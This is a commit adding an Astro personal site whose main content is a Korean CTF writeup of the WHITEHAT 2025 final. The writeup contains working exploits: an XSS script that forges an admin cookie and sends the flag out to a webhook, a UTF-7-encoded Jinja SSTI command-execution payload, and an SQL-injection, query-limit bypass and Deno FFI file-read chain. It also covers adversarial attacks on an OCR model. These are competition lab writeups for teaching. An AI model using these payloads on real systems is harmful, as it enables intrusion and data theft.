This commit is contained in:
도로롱
2025-11-24 12:22:35 +09:00
parent b6134d4b8b
commit 1dd9b7974c
10 changed files with 12305 additions and 0 deletions

View File

@@ -0,0 +1,45 @@
{
"$ref": "#/definitions/blog",
"definitions": {
"blog": {
"type": "object",
"properties": {
"title": {
"type": "string"
},
"description": {
"type": "string"
},
"date": {
"anyOf": [
{
"type": "string",
"format": "date-time"
},
{
"type": "string",
"format": "date"
},
{
"type": "integer",
"format": "unix-time"
}
]
},
"draft": {
"type": "boolean"
},
"$schema": {
"type": "string"
}
},
"required": [
"title",
"description",
"date"
],
"additionalProperties": false
}
},
"$schema": "http://json-schema.org/draft-07/schema#"
}

View File

@@ -0,0 +1,66 @@
{
"$ref": "#/definitions/career",
"definitions": {
"career": {
"type": "object",
"properties": {
"company": {
"type": "string"
},
"role": {
"type": "string"
},
"dateStart": {
"anyOf": [
{
"type": "string",
"format": "date-time"
},
{
"type": "string",
"format": "date"
},
{
"type": "integer",
"format": "unix-time"
}
]
},
"dateEnd": {
"anyOf": [
{
"anyOf": [
{
"type": "string",
"format": "date-time"
},
{
"type": "string",
"format": "date"
},
{
"type": "integer",
"format": "unix-time"
}
]
},
{
"type": "string"
}
]
},
"$schema": {
"type": "string"
}
},
"required": [
"company",
"role",
"dateStart",
"dateEnd"
],
"additionalProperties": false
}
},
"$schema": "http://json-schema.org/draft-07/schema#"
}

View File

@@ -0,0 +1,51 @@
{
"$ref": "#/definitions/projects",
"definitions": {
"projects": {
"type": "object",
"properties": {
"title": {
"type": "string"
},
"description": {
"type": "string"
},
"date": {
"anyOf": [
{
"type": "string",
"format": "date-time"
},
{
"type": "string",
"format": "date"
},
{
"type": "integer",
"format": "unix-time"
}
]
},
"draft": {
"type": "boolean"
},
"demoURL": {
"type": "string"
},
"repoURL": {
"type": "string"
},
"$schema": {
"type": "string"
}
},
"required": [
"title",
"description",
"date"
],
"additionalProperties": false
}
},
"$schema": "http://json-schema.org/draft-07/schema#"
}

View File

@@ -0,0 +1 @@
export default new Map();

View File

@@ -0,0 +1 @@
export default new Map();

240
.astro/content.d.ts vendored Normal file
View File

@@ -0,0 +1,240 @@
declare module 'astro:content' {
interface Render {
'.mdx': Promise<{
Content: import('astro').MDXContent;
headings: import('astro').MarkdownHeading[];
remarkPluginFrontmatter: Record<string, any>;
components: import('astro').MDXInstance<{}>['components'];
}>;
}
}
declare module 'astro:content' {
export interface RenderResult {
Content: import('astro/runtime/server/index.js').AstroComponentFactory;
headings: import('astro').MarkdownHeading[];
remarkPluginFrontmatter: Record<string, any>;
}
interface Render {
'.md': Promise<RenderResult>;
}
export interface RenderedContent {
html: string;
metadata?: {
imagePaths: Array<string>;
[key: string]: unknown;
};
}
}
declare module 'astro:content' {
type Flatten<T> = T extends { [K: string]: infer U } ? U : never;
export type CollectionKey = keyof AnyEntryMap;
export type CollectionEntry<C extends CollectionKey> = Flatten<AnyEntryMap[C]>;
export type ContentCollectionKey = keyof ContentEntryMap;
export type DataCollectionKey = keyof DataEntryMap;
type AllValuesOf<T> = T extends any ? T[keyof T] : never;
type ValidContentEntrySlug<C extends keyof ContentEntryMap> = AllValuesOf<
ContentEntryMap[C]
>['slug'];
export type ReferenceDataEntry<
C extends CollectionKey,
E extends keyof DataEntryMap[C] = string,
> = {
collection: C;
id: E;
};
export type ReferenceContentEntry<
C extends keyof ContentEntryMap,
E extends ValidContentEntrySlug<C> | (string & {}) = string,
> = {
collection: C;
slug: E;
};
export type ReferenceLiveEntry<C extends keyof LiveContentConfig['collections']> = {
collection: C;
id: string;
};
/** @deprecated Use `getEntry` instead. */
export function getEntryBySlug<
C extends keyof ContentEntryMap,
E extends ValidContentEntrySlug<C> | (string & {}),
>(
collection: C,
// Note that this has to accept a regular string too, for SSR
entrySlug: E,
): E extends ValidContentEntrySlug<C>
? Promise<CollectionEntry<C>>
: Promise<CollectionEntry<C> | undefined>;
/** @deprecated Use `getEntry` instead. */
export function getDataEntryById<C extends keyof DataEntryMap, E extends keyof DataEntryMap[C]>(
collection: C,
entryId: E,
): Promise<CollectionEntry<C>>;
export function getCollection<C extends keyof AnyEntryMap, E extends CollectionEntry<C>>(
collection: C,
filter?: (entry: CollectionEntry<C>) => entry is E,
): Promise<E[]>;
export function getCollection<C extends keyof AnyEntryMap>(
collection: C,
filter?: (entry: CollectionEntry<C>) => unknown,
): Promise<CollectionEntry<C>[]>;
export function getLiveCollection<C extends keyof LiveContentConfig['collections']>(
collection: C,
filter?: LiveLoaderCollectionFilterType<C>,
): Promise<
import('astro').LiveDataCollectionResult<LiveLoaderDataType<C>, LiveLoaderErrorType<C>>
>;
export function getEntry<
C extends keyof ContentEntryMap,
E extends ValidContentEntrySlug<C> | (string & {}),
>(
entry: ReferenceContentEntry<C, E>,
): E extends ValidContentEntrySlug<C>
? Promise<CollectionEntry<C>>
: Promise<CollectionEntry<C> | undefined>;
export function getEntry<
C extends keyof DataEntryMap,
E extends keyof DataEntryMap[C] | (string & {}),
>(
entry: ReferenceDataEntry<C, E>,
): E extends keyof DataEntryMap[C]
? Promise<DataEntryMap[C][E]>
: Promise<CollectionEntry<C> | undefined>;
export function getEntry<
C extends keyof ContentEntryMap,
E extends ValidContentEntrySlug<C> | (string & {}),
>(
collection: C,
slug: E,
): E extends ValidContentEntrySlug<C>
? Promise<CollectionEntry<C>>
: Promise<CollectionEntry<C> | undefined>;
export function getEntry<
C extends keyof DataEntryMap,
E extends keyof DataEntryMap[C] | (string & {}),
>(
collection: C,
id: E,
): E extends keyof DataEntryMap[C]
? string extends keyof DataEntryMap[C]
? Promise<DataEntryMap[C][E]> | undefined
: Promise<DataEntryMap[C][E]>
: Promise<CollectionEntry<C> | undefined>;
export function getLiveEntry<C extends keyof LiveContentConfig['collections']>(
collection: C,
filter: string | LiveLoaderEntryFilterType<C>,
): Promise<import('astro').LiveDataEntryResult<LiveLoaderDataType<C>, LiveLoaderErrorType<C>>>;
/** Resolve an array of entry references from the same collection */
export function getEntries<C extends keyof ContentEntryMap>(
entries: ReferenceContentEntry<C, ValidContentEntrySlug<C>>[],
): Promise<CollectionEntry<C>[]>;
export function getEntries<C extends keyof DataEntryMap>(
entries: ReferenceDataEntry<C, keyof DataEntryMap[C]>[],
): Promise<CollectionEntry<C>[]>;
export function render<C extends keyof AnyEntryMap>(
entry: AnyEntryMap[C][string],
): Promise<RenderResult>;
export function reference<C extends keyof AnyEntryMap>(
collection: C,
): import('astro/zod').ZodEffects<
import('astro/zod').ZodString,
C extends keyof ContentEntryMap
? ReferenceContentEntry<C, ValidContentEntrySlug<C>>
: ReferenceDataEntry<C, keyof DataEntryMap[C]>
>;
// Allow generic `string` to avoid excessive type errors in the config
// if `dev` is not running to update as you edit.
// Invalid collection names will be caught at build time.
export function reference<C extends string>(
collection: C,
): import('astro/zod').ZodEffects<import('astro/zod').ZodString, never>;
type ReturnTypeOrOriginal<T> = T extends (...args: any[]) => infer R ? R : T;
type InferEntrySchema<C extends keyof AnyEntryMap> = import('astro/zod').infer<
ReturnTypeOrOriginal<Required<ContentConfig['collections'][C]>['schema']>
>;
type ContentEntryMap = {
};
type DataEntryMap = {
"blog": Record<string, {
id: string;
render(): Render[".md"];
slug: string;
body: string;
collection: "blog";
data: InferEntrySchema<"blog">;
rendered?: RenderedContent;
filePath?: string;
}>;
"career": Record<string, {
id: string;
render(): Render[".md"];
slug: string;
body: string;
collection: "career";
data: InferEntrySchema<"career">;
rendered?: RenderedContent;
filePath?: string;
}>;
"projects": Record<string, {
id: string;
render(): Render[".md"];
slug: string;
body: string;
collection: "projects";
data: InferEntrySchema<"projects">;
rendered?: RenderedContent;
filePath?: string;
}>;
};
type AnyEntryMap = ContentEntryMap & DataEntryMap;
type ExtractLoaderTypes<T> = T extends import('astro/loaders').LiveLoader<
infer TData,
infer TEntryFilter,
infer TCollectionFilter,
infer TError
>
? { data: TData; entryFilter: TEntryFilter; collectionFilter: TCollectionFilter; error: TError }
: { data: never; entryFilter: never; collectionFilter: never; error: never };
type ExtractDataType<T> = ExtractLoaderTypes<T>['data'];
type ExtractEntryFilterType<T> = ExtractLoaderTypes<T>['entryFilter'];
type ExtractCollectionFilterType<T> = ExtractLoaderTypes<T>['collectionFilter'];
type ExtractErrorType<T> = ExtractLoaderTypes<T>['error'];
type LiveLoaderDataType<C extends keyof LiveContentConfig['collections']> =
LiveContentConfig['collections'][C]['schema'] extends undefined
? ExtractDataType<LiveContentConfig['collections'][C]['loader']>
: import('astro/zod').infer<
Exclude<LiveContentConfig['collections'][C]['schema'], undefined>
>;
type LiveLoaderEntryFilterType<C extends keyof LiveContentConfig['collections']> =
ExtractEntryFilterType<LiveContentConfig['collections'][C]['loader']>;
type LiveLoaderCollectionFilterType<C extends keyof LiveContentConfig['collections']> =
ExtractCollectionFilterType<LiveContentConfig['collections'][C]['loader']>;
type LiveLoaderErrorType<C extends keyof LiveContentConfig['collections']> = ExtractErrorType<
LiveContentConfig['collections'][C]['loader']
>;
export type ContentConfig = typeof import("../src/content/config.js");
export type LiveContentConfig = never;
}

2
.astro/types.d.ts vendored Normal file
View File

@@ -0,0 +1,2 @@
/// <reference types="astro/client" />
/// <reference path="content.d.ts" />

141
.gitignore vendored Normal file
View File

@@ -0,0 +1,141 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# Snowpack dependency directory (https://snowpack.dev/)
web_modules/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Optional stylelint cache
.stylelintcache
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variable files
.env
.env.*
!.env.example
# parcel-bundler cache (https://parceljs.org/)
.cache
.parcel-cache
# Next.js build output
.next
out
# Nuxt.js build / generate output
.nuxt
dist
.output
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and not Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# vuepress v2.x temp and cache directory
.temp
.cache
# Sveltekit cache directory
.svelte-kit/
# vitepress build output
**/.vitepress/dist
# vitepress cache directory
**/.vitepress/cache
# Docusaurus cache and generated files
.docusaurus
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# Firebase cache directory
.firebase/
# TernJS port file
.tern-port
# Stores VSCode versions used for testing VSCode extensions
.vscode-test
# yarn v3
.pnp.*
.yarn/*
!.yarn/patches
!.yarn/plugins
!.yarn/releases
!.yarn/sdks
!.yarn/versions
# Vite files
vite.config.js.timestamp-*
vite.config.ts.timestamp-*
.vite/

11251
package-lock.json generated Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,507 @@
---
title: "화이트햇콘테스트 2025 본선 writeup"
description: "withcon 2025 final writeup"
date: "Nov 24 2025"
---
## Introduction
2025 WHITEHAT 본선에는 헤일메리 팀으로 참가해 총 7문제를 해결했고, 최종 성적은 본선 3위를 기록했다.
비공식 기준이긴 하지만 개인 solve 수만 놓고 보면 모든부분 1등이었다.
한 문제만 더 풀었으면 2등까지도 가능했을 것 같아 약간 아쉽기도 했다.
다음 writeup들은 대부분 ai가 대신 작성해준 내용이니 약간 읽기가 복잡할지도?
---
# 1. AI
## 1.1 Overview
이 문제는 제공된 OCR 모델을 속여 특정 문자열 **“givemeflag”**을 출력하게 만드는 Adversarial Attack 문제이다.
서버는 32×32 grayscale 이미지 10장을 받아 각 문자를 추출하고, 조합한 문자열이 정확히 맞으면 플래그를 반환한다.
- Goal: 서버가 “givemeflag”라고 읽도록 만드는 이미지 10장 생성
- Given Files:
- `OCR.h5` (Keras OCR Model)
- `main.py` (Server preprocessing & inference logic)
핵심은 “사람 눈에는 노이즈지만, 모델은 특정 문자로 착각하는 이미지”를 직접 만드는 것이다.
## 1.2 Analysis
`main.py`를 보면 서버는 다음 순서로 이미지를 처리한다.
1) Base64 decode
2) Convert to grayscale (L mode)
3) Resize to 32×32
4) Normalize with `/255.0`
5) Softmax → Argmax → Character mapping
즉, 사람이 보기에 정상적인 이미지일 필요가 없고, **모델이 속기 쉬운 패턴**을 만드는 것이 목표였다.
## 1.3 Methodology
- 문자 하나당 이미지 한 장 → 총 10장
- FGSM 같은 단일 스텝 방법은 제대로 수렴이 안 됨
- 이미지 자체를 변수로 두고 PGD 방식으로 반복 최적화 진행
Process 요약:
- 랜덤 노이즈로 이미지 초기화
- Loss를 타깃 문자 기준으로 최소화
- 매 스텝마다 clipping(0~1)
- 일정 기준 충족 시 조기 종료
## 1.4 Implementation
핵심 구현 방식은 다음과 같다.
- 문자 → index 변환
- 랜덤 텐서를 loss 방향으로 최적화
- logit이 충분히 높아지면 이미지 픽스
- 최종적으로 PIL로 32×32 Grayscale PNG 저장
Boundary가 넓은 “g”, “i” 등은 빨리 수렴했고, 좁은 “f”는 오래 걸렸다.
## 1.5 Verification
OCR.h5 모델에 직접 돌려본 결과:
Target: givemeflag
Predicted: givemeflag
SUCCESS!
모델이 의도대로 문자열을 정확히 인식했다.
## 1.6 Submission & Flag
Base64 인코딩 후 `/check`로 제출한 결과:
- alphabets: ["g","i","v","e","m","e","f","l","a","g"]
- flag: `whitehat2025{bc4498394e5fb4177656698d850b63d7cd2d49c04e749f8763bdfa4e4062dfd8}`
- text: "givemeflag"
## 1.7 Discussion
예선보다 약간 어려웠지만 막히는 난이도는 아니었다.
PGD가 잘 먹히는 구조라 모델 decision boundary의 취약함이 그대로 드러난 문제였다.
문항 풀이 과정 반절은 잼민이가 도와줬다.
---
# 2. Chat
## 2.1 Overview
이 문제는 Django 기반 채팅 애플리케이션의 취약점을 이용해 `/flag/`에서 플래그를 획득하는 문제이다.
Server constraints:
1. 요청 IP는 반드시 127.0.0.1
2. `username` 쿠키가 반드시 `admin`
## 2.2 Analysis
애플리케이션의 핵심 취약점은 **Inline HTML Preview + Playwright Bot** 조합이다.
- 메시지 안에 `<div>`, `<script>` 등이 포함되면 인라인 HTML로 분류되고 내부 URL이 생성됨
- 서버는 Playwright로 이 페이지를 띄워 HTML/JS를 실행함
- 봇은 기본적으로 `username=bot` 쿠키를 가짐
- 즉, 공격자가 보낸 JS가 **서버 로컬(127.0.0.1)** 환경에서 실행됨
→ 사실상 SSRF + XSS의 콜라보
## 2.3 Exploit
공격 목표는:
1. 봇의 쿠키를 `username=admin`으로 변조
2. `/flag/` 요청
3. 응답 플래그를 외부 Webhook으로 유출
Flow:
1. 악성 스크립트 포함된 HTML 메시지 전송
2. 봇이 Preview 렌더링 페이지 접속
3. JS 실행 → 쿠키 변조
4. JS 실행 → `/flag/` GET
5. 플래그 Webhook 유출
## 2.4 Implementation
Python exploit은 회원가입 → 로그인 후 악성 메시지 전송하는 구조였다.
```python
import requests
import json
import time
URL = "https://asdf"
WEBHOOK_URL = "https://webhook.site/asdf"
s = requests.Session()
s.verify = False
def register_and_login(username, password):
# 1. 회원가입
r = s.get(f"{URL}/register/")
csrf_token = s.cookies.get('csrftoken')
data = {
"csrfmiddlewaretoken": csrf_token,
"username": username,
"password1": password,
"password2": password
}
headers = {"Referer": f"{URL}/register/"}
s.post(f"{URL}/register/", data=data, headers=headers)
# 2. 로그인
r = s.get(f"{URL}/login/")
if "logout" in r.text:
return True
return False
def send_payload():
# XSS Payload
# 쿠키 변조: username=admin
# 플래그 요청 및 유출
payload = f"""
<div>
<script>
async function run() {{
try {{
// 쿠키 변조
document.cookie = "username=admin; path=/; secure; samesite=lax";
// 플래그 요청
let flagRes = await fetch('/flag/');
let flag = await flagRes.text();
// 외부로 유출
fetch('{WEBHOOK_URL}?flag=' + encodeURIComponent(flag));
}} catch (e) {{
fetch('{WEBHOOK_URL}?error=' + encodeURIComponent(e.toString()));
}}
}}
run();
</script>
</div>
"""
csrf_token = s.cookies.get('csrftoken')
data = {
"csrfmiddlewaretoken": csrf_token,
"message": payload
}
headers = {
"Referer": f"{URL}/",
"X-CSRFToken": csrf_token
}
print("Sending payload...")
s.post(f"{URL}/api/send/", data=data, headers=headers)
if __name__ == "__main__":
import uuid
username = f"attacker_{uuid.uuid4().hex[:8]}"
password = "password123"
if register_and_login(username, password):
send_payload()
print("flag!")
```
## 2.5 Discussion
솔직히 어렵진 않았던 문제이다. 다들 쉽게 풀기도 했으니...
---
# 3. Scenario 1-1
## 3.1 Overview
전자 문서 서명 서비스 자체의 취약점 때문에 서버가 탈취된 것으로 추정되며, 복제된 서버에서 flag를 획득하고 침해 원인을 규명하는 것이 목표였다.
SSTI 취약점으로 flag를 획득하면 된다.
---
## 3.2 Analysis
### 1) Server-Side Template Injection (SSTI)
**파일:** `app/core/pdf_renderer.py`
```python
def render_pdf(self, doc_id: str, markdown_content: str, title: str = "Document") -> dict:
try:
template = Template(markdown_content)
rendered_content = template.render()
```
사용자 입력을 템플릿 엔진에 직접 전달하는 전형적인 SSTI.
---
### 2) Broken Security Filter
**파일:** `app/core/security.py`
```python
def safe_markdown(content: str) -> bytes:
return content.replace("{{", "").replace("}}", "").encode("utf-8")
```
단순 치환이라 인코딩 우회에 매우 취약하다.
---
### 3) UTF-7 Decoding Bug (핵심)
**파일:** `app/api/documents.py`
```python
safe_markdown_content = safe_markdown(doc.markdown_content).decode("utf-7")
```
UTF-8로 인코딩한 후 UTF-7로 디코딩 → `{{ }}` 패턴 복원됨.
UTF-7 매핑:
```
+AHsAew- → {{
+AH0AfQ- → }}
```
필터가 무력화되며 SSTI가 그대로 살아난다.
---
## 3.3 Exploit
### Step 1 — UTF-7 Payload Construction
Payload:
```
+AHsAew-7*7+AH0AfQ-
```
서버 처리 흐름:
```
UTF-7 인코딩 → 필터 우회 → UTF-7 디코딩 → {{7*7}} 복원 → SSTI → 49 출력
```
---
### Step 2 — Local PoC
로컬에서 Jinja Template으로 테스트해 정상적으로 `{{7*7}}`가 복구되고 실행됨을 확인했다.
---
### Step 3 — RCE Payload (UTF-7 Encoded)
원본 SSTI:
```
{{ lipsum.__globals__['os'].popen('cat /app/flag.txt').read() }}
```
UTF-7 변환 후 최종 payload:
```
+AHsAew- lipsum+AC4-+AF8AXw-globals+AF8AXw-+AFs-+ACc-os+ACc-+AF0-+AC4-popen+ACg-+ACc-cat +AC8-app+AC8-flag+AC4-txt+ACc-+ACk-+AC4-read+ACg-+ACk- +AH0AfQ-
```
---
### Step 4 — Exploit Execution
- `/api/documents`로 문서 생성
- 렌더링 상태가 `completed` 될 때까지 대기
- `/api/documents/<id>/preview`로 PDF 다운로드
---
### Step 5 — Extract Flag from PDF
```
whitehat2025{a1c56e0f04fb9abc8467c89089703c8c224d56bc007344b37101f6abe3}
```
PDF 내부 텍스트에서 flag가 정상 추출되었다.
---
## 3.4 References
- https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
- https://en.wikipedia.org/wiki/UTF-7
- https://jinja.palletsprojects.com/en/latest/
---
# 4. Scenario 1-2
이번 문제는 예선과 같이 취약한 파일들을 패치해서 검사받는 문제이다. llm 돌리면 3분컷나니 생략한다.
---
# 5. Scenario 1-3
그냥 vm 이미지에서 수상한 파일을 찾는 문제이다. 이 역시 별다른 어려움이 없을것이라 예상되니 스킵. 포렌식이 여기 숨어있었음. 이 문제 이후로 1-4를 풀지 못했다. 개어려움...
---
# 6. Lemo
## 6.1 Overview
Deno + Fresh 프레임워크로 작성된 웹 서비스에서 여러 보호 기법을 우회하여 플래그를 획득하는 문제이다.
SQL Injection, 환경 변수 조작, 파라미터 파싱 취약점, 그리고 Deno FFI 권한 우회까지 연결해야 하는 복합적인 문제였다. 솔직히 이 문제가 내가 푼 문제중에 가장 어려웠다. (사실 그래서 마지막에 넣었음)
## 6.2 Analysis
### 1) SQL Injection
`server/src/db.ts``createUser` 함수에서 사용자 입력을 직접 쿼리에 삽입하고 있다.
```typescript
export function createUser(username: string, password: string, role: Role = Role.USER) {
const result = db.exec(`INSERT INTO users (username, password, role) VALUES ('${username}', '${password}', ${role})`);
return result;
}
```
이를 통해 `ATTACH DATABASE` 구문을 실행하여 서버 파일 시스템에 임의의 파일을 생성할 수 있다.
### 2) IP Validation Logic (Nginx & Middleware)
서버는 `routes/api/admin/save.ts` 접근 시 IP가 `127.0.0.1`인지 검사한다.
외부에서 접근 시 Nginx가 `purify.js`를 통해 강제로 실제 IP를 주입하여 우회를 차단하려 한다.
**nginx/js/purify.js:**
```javascript
function fix(r) {
var out = [];
var args = r.args;
// ... 기존 ip 파라미터 제거 로직 ...
var real_ip = r.variables.remote_addr || "";
out.push('ip=' + real_ip); // 실제 IP를 쿼리 스트링 마지막에 추가
return out.join('&');
}
```
하지만 백엔드(`routes/_middleware.ts`)에서는 `npm:qs`를 사용하여 쿼리를 파싱하는데, 여기에 허점이 존재한다.
**routes/_middleware.ts:**
```typescript
import qs from "npm:qs";
async function parseQuery(req: Request) {
// ...
const parsed = qs.parse(rawQS); // parameterLimit: 1000 (default)
return parsed;
}
// ...
if (ctx.state.query.ip) {
ctx.state.ip = ctx.state.query.ip;
} else {
ctx.state.ip = "127.0.0.1"; // ip 파라미터가 파싱되지 않으면 로컬로 간주
}
```
`qs` 라이브러리는 기본적으로 **1000개의 파라미터만 파싱**하는 제한(`parameterLimit`)이 있다.
따라서 공격자가 1000개 이상의 더미 파라미터를 보내면, Nginx가 맨 뒤에 붙인 `ip=REAL_IP`는 파싱 범위 밖으로 밀려나 무시된다.
결과적으로 `ctx.state.query.ip``undefined`가 되고, 서버는 이를 로컬 접속(`127.0.0.1`)으로 오인하게 된다.
### 3) NODE_ENV Validation
`save.ts``NODE_ENV`가 "development"일 때만 동작한다.
기본값은 "production"이지만, 앞서 언급한 SQL Injection을 통해 `.env` 파일을 생성하고 `NODE_ENV=development` 내용을 주입하여 이를 우회할 수 있다.
### 4) Deno FFI
`deno.json` 설정에서 `--allow-ffi` 옵션이 활성화되어 있다.
이는 Deno의 샌드박스(파일 시스템 접근 제한 등)를 우회할 수 있는 치명적인 설정이다. `libc`와 같은 네이티브 라이브러리를 로드하여 `fopen`, `fgetc` 등의 함수를 직접 호출하면 `--allow-read` 제한과 상관없이 모든 파일을 읽을 수 있다.
## 6.3 Exploit Flow
1. **NODE_ENV Injection**: SQL Injection으로 `.env` 파일을 생성한다. SQLite 헤더가 포함되지만, 개행 문자를 넣어 `NODE_ENV=development`를 유효한 라인으로 만든다.
2. **Server Restart**: `routes/` 디렉토리에 더미 파일을 생성하여 Deno의 Hot Reload를 트리거한다. 재시작 시 조작된 `.env`가 로드된다.
3. **IP Bypass**: 요청 쿼리 스트링에 1000개의 더미 파라미터를 포함시켜, Nginx가 뒤에 붙이는 `ip=REAL_IP`가 파싱되지 않도록 한다.
4. **RCE**: `save.ts`를 호출하여 FFI 코드가 담긴 TypeScript 파일을 생성하고 실행한다.
## 6.4 Implementation
**FFI Payload (TypeScript):**
Deno의 권한을 우회하여 `/flag`를 읽는 코드이다.
```typescript
import { Handlers } from "$fresh/server.ts";
export const handler: Handlers = {
async GET(req) {
try {
const lib = Deno.dlopen("libc.so.6", {
fopen: { parameters: ["buffer", "buffer"], result: "pointer" },
fgetc: { parameters: ["pointer"], result: "i32" },
fclose: { parameters: ["pointer"], result: "i32" },
});
const path = new TextEncoder().encode("/flag\0");
const mode = new TextEncoder().encode("r\0");
const fp = lib.symbols.fopen(path, mode);
if (fp === null || fp.value === 0n) return new Response("Failed");
let content = "";
while (true) {
const c = lib.symbols.fgetc(fp);
if (c === -1) break;
content += String.fromCharCode(c);
}
lib.symbols.fclose(fp);
return new Response(content);
} catch (e) {
return new Response(e.toString());
}
}
};
```
**Exploit Script (Python):**
```python
import requests
import time
URL = "http://asdf"
def sql_exec(query):
# 회원가입 로직을 통한 SQL Injection 수행
pass
# 1. .env 생성 (NODE_ENV=development)
print("[*] Creating .env...")
env_payload = "x', 'x', 0); ATTACH DATABASE '.env' AS env; CREATE TABLE env.config(val TEXT); INSERT INTO env.config VALUES ('\\nNODE_ENV=development\\n'); --"
sql_exec(env_payload)
# 2. 서버 재시작 트리거
print("[*] Triggering restart...")
restart_payload = f"x', 'x', 0); ATTACH DATABASE 'routes/restart_{int(time.time())}.ts' AS r; CREATE TABLE r.d(v TEXT); --"
sql_exec(restart_payload)
time.sleep(5) # 재시작 대기
# 3. QS Limit Bypass & Payload Upload
print("[*] Uploading FFI payload...")
dummy_params = "&".join([f"p{i}=1" for i in range(1000)])
target_url = f"{URL}/api/admin/save?{dummy_params}"
ffi_code = open("payload.ts", "r").read()
data = {
"filepath": "api/exploit.ts",
"content": ffi_code
}
# Nginx가 ip=REAL_IP를 붙이지만 1000개 제한으로 무시됨 -> 127.0.0.1로 인식
requests.post(target_url, data=data)
# 4. Flag 획득
print("[*] Getting flag...")
res = requests.get(f"{URL}/api/exploit")
print(f"Flag: {res.text}")
```
## 6.5 Flag
`whitehat2025{9584eeed890b0b6c68ec1136d009d41504be65c970ee77cce7223ec2f49f3dc6}`
## 6.6 Discussion
단계별로 뚫어야 할 벽이 많아서 매우 까다로웠다. 다들 sqli만 시도하고 막혔을 것이라 생각한다. 나도 잼민이의 도움을 받아 겨우 풀이할 수 있었다.
특히 Deno 환경에서 FFI로 샌드박스를 탈출하는 기법이 인상적이었다.
---